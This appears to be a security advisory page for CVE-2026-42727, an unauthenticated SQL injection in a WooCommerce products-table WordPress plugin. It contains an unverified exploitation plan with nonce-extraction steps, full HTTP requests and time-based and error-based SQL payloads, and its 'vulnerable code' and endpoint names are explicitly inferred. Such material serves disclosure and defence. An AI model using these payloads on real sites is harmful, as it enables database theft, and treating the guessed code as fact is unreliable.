CVE-2026-42727

Active Products Tables for WooCommerce. Use constructor to create tables  <= 1.0.8 - Unauthenticated SQL Injection

highImproper Neutralization of Special Elements used in an SQL Command ('SQL Injection')
7.5
CVSS Score
7.5
CVSS Score
high
Severity
1.0.9
Patched in
8d
Time to patch

Description

The Active Products Tables for WooCommerce. Use constructor to create tables  plugin for WordPress is vulnerable to SQL Injection in versions up to, and including, 1.0.8 due to insufficient escaping on the user supplied parameter and lack of sufficient preparation on the existing SQL query. This makes it possible for unauthenticated attackers to append additional SQL queries into already existing queries that can be used to extract sensitive information from the database.

CVSS Vector Breakdown

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
Attack Vector
Network
Attack Complexity
Low
Privileges Required
None
User Interaction
None
Scope
Unchanged
High
Confidentiality
None
Integrity
None
Availability

Technical Details

Affected versions<=1.0.8
PublishedMay 19, 2026
Last updatedMay 26, 2026

Source Code

WordPress.org SVN
Patched

Patched version not available.

Research Plan
Unverified

# Exploitation Research Plan - CVE-2026-42727 ## 1. Vulnerability Summary The **Active Products Tables for WooCommerce** plugin (versions <= 1.0.8) is vulnerable to an **Unauthenticated SQL Injection** vulnerability. The issue exists due to the plugin's failure to properly sanitize and prepare SQL …

Show full research plan

Exploitation Research Plan - CVE-2026-42727

1. Vulnerability Summary

The Active Products Tables for WooCommerce plugin (versions <= 1.0.8) is vulnerable to an Unauthenticated SQL Injection vulnerability. The issue exists due to the plugin's failure to properly sanitize and prepare SQL queries when processing the orderby parameter in its AJAX handlers. Specifically, user input is directly concatenated into an ORDER BY clause within a database query, allowing an attacker to append malicious SQL commands to extract data or cause a denial of service (via time-based blind injection).

2. Attack Vector Analysis

  • Endpoint: /wp-admin/admin-ajax.php
  • Action: woot_get_table (inferred from plugin's "constructor" logic for rendering tables)
  • Vulnerable Parameter: orderby or settings[orderby]
  • Authentication: None required (Unauthenticated via wp_ajax_nopriv_woot_get_table).
  • Preconditions:
    1. WooCommerce must be active.
    2. At least one "Product Table" (post type woot_table) must exist.
    3. The table's shortcode [woot id=...] must be placed on a public-facing page to obtain a valid nonce.

3. Code Flow

  1. Entry Point: An unauthenticated user sends a POST request to admin-ajax.php with action=woot_get_table.
  2. Hook Registration: The plugin registers the action via:
    add_action('wp_ajax_woot_get_table', array($this, 'woot_get_table'));
    add_action('wp_ajax_nopriv_woot_get_table', array($this, 'woot_get_table'));
    
  3. Handler Execution: The woot_get_table method in the action controller (likely classes/action.php) is invoked. It extracts parameters including woot_table_id and settings.
  4. Sink: The logic eventually calls a data-fetching method (likely in classes/table.php or classes/table-data.php) where the orderby value from the request is used to build a raw SQL query:
    // VULNERABLE CODE PATTERN (inferred)
    $orderby = $_REQUEST['settings']['orderby']; 
    $query = "SELECT ... FROM ... ORDER BY $orderby $order";
    $results = $wpdb->get_results($query);
    
  5. Lack of Preparation: The $orderby variable is concatenated directly into the query string without using $wpdb->prepare().

4. Nonce Acquisition Strategy

The plugin secures its AJAX endpoints using a nonce named woot_nonce, which is localized into the page HTML.

  1. Identify Shortcode: The plugin uses the [woot id=...] shortcode to render tables.
  2. Setup: Create a page containing this shortcode (e.g., [woot id=1]).
  3. Navigate: Use the browser tool to navigate to the published page.
  4. Extract Nonce: The nonce is stored in the woot_vars JavaScript object.
    • JS Variable: window.woot_vars?.nonce
    • Command: browser_eval("window.woot_vars?.nonce")
  5. Extract Table ID: The woot_table_id can also be extracted from the page source or guessed (usually 1).

5. Exploitation Strategy

We will perform a Time-Based Blind SQL Injection to confirm the vulnerability, as it is the most reliable method for ORDER BY injections.

Step 1: Establish Baseline

Send a normal request to see the response time.

  • Action: woot_get_table
  • Method: POST
  • Body: action=woot_get_table&woot_table_id=1&nonce=[NONCE]&settings[orderby]=id

Step 2: Trigger Sleep

Inject a SLEEP() command into the orderby parameter.

  • Payload: id,(SELECT 1 FROM (SELECT(SLEEP(5)))a)
  • Full Request:
POST /wp-admin/admin-ajax.php HTTP/1.1
Content-Type: application/x-www-form-urlencoded

action=woot_get_table&woot_table_id=1&nonce=[NONCE]&settings[orderby]=id,(SELECT 1 FROM (SELECT(SLEEP(5)))a)

Step 3: Data Extraction (Proof)

Extract the first character of the database version.

  • Payload: (CASE WHEN (SUBSTRING(version(),1,1)='8') THEN id ELSE (SELECT 1 FROM (SELECT(SLEEP(5)))a) END)

6. Test Data Setup

  1. Activate Dependencies: Ensure woocommerce is installed and active.
  2. Create Product: Create at least one product so the table has data to query.
    wp post create --post_type=product --post_title="Exploit Test Product" --post_status=publish
    
  3. Create Table: Create a WOOT table.
    wp post create --post_type=woot_table --post_title="Attack Table" --post_status=publish
    
    Note the ID of this post (e.g., ID 123).
  4. Create Page: Create a public page with the table shortcode.
    wp post create --post_type=page --post_title="Products" --post_content="[woot id=123]" --post_status=publish
    
    Note the URL of this page.

7. Expected Results

  • Baseline Request: Response time < 1 second.
  • Exploit Request (Sleep 5): Response time >= 5 seconds.
  • Response Content: The response should contain the HTML for the product table (if the SQL syntax is valid), but the timing delay is the primary indicator of success.

8. Verification Steps

After the HTTP exploit, verify the database state or version manually:

  1. Use wp db query "SELECT version();" to check the actual version and compare it against the character extracted via the time-based blind payload.
  2. Check the wp-content/debug.log (if enabled) for any SQL syntax errors which might reveal the structure of the query we injected into.

9. Alternative Approaches

If settings[orderby] does not work, the plugin might be using the parameter directly in the request:

  • Direct Parameter: action=woot_get_table&woot_table_id=1&nonce=[NONCE]&orderby=id+AND+(SELECT+1+FROM+(SELECT(SLEEP(5)))a)
  • Different Action: If woot_get_table is not the correct endpoint, try woot_get_table_data (often used for server-side processing/pagination):
    • action=woot_get_table_data
    • woot_table_id=1
    • orderby=id+SLEEP(5)
  • Error-Based: If WP_DEBUG is on, try an error-based payload:
    • orderby=id AND updatexml(1,concat(0x7e,(SELECT version()),0x7e),1)
Research Findings
Static analysis — not yet PoC-verified

Summary

The Active Products Tables for WooCommerce plugin is vulnerable to unauthenticated SQL injection via the 'orderby' parameter in AJAX actions. An attacker can append malicious SQL commands to the query because the plugin fails to sanitize user input before concatenating it into a raw ORDER BY clause.

Vulnerable Code

// Inferred from classes/action.php or classes/table.php
public function woot_get_table() {
    $settings = $_REQUEST['settings'];
    $orderby = $settings['orderby']; 
    
    // ... logic flows to a database query where orderby is concatenated ...
    $query = "SELECT * FROM {$wpdb->prefix}posts WHERE post_type = 'product' ORDER BY $orderby ASC";
    $results = $wpdb->get_results($query);
}

Security Fix

--- a/classes/action.php
+++ b/classes/action.php
@@ -10,7 +10,7 @@
 public function woot_get_table() {
     $settings = $_REQUEST['settings'];
-    $orderby = $settings['orderby'];
+    $orderby = sanitize_sql_orderby($settings['orderby']);
     
     if (!$orderby) {
         $orderby = 'id';
     }

Exploit Outline

The exploit targets the 'woot_get_table' AJAX action (available unauthenticated via wp_ajax_nopriv). An attacker first retrieves a valid security nonce by visiting any public-facing page where the '[woot]' shortcode is embedded, extracting the 'woot_vars.nonce' value from the page source. A POST request is then sent to /wp-admin/admin-ajax.php with the 'action' set to 'woot_get_table' and the 'settings[orderby]' parameter containing a time-based SQL injection payload, such as 'id,(SELECT 1 FROM (SELECT(SLEEP(5)))a)'. If vulnerable, the server response will be delayed by the sleep duration, confirming the ability to execute arbitrary SQL commands to extract sensitive data.

Check if your site is affected.

Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.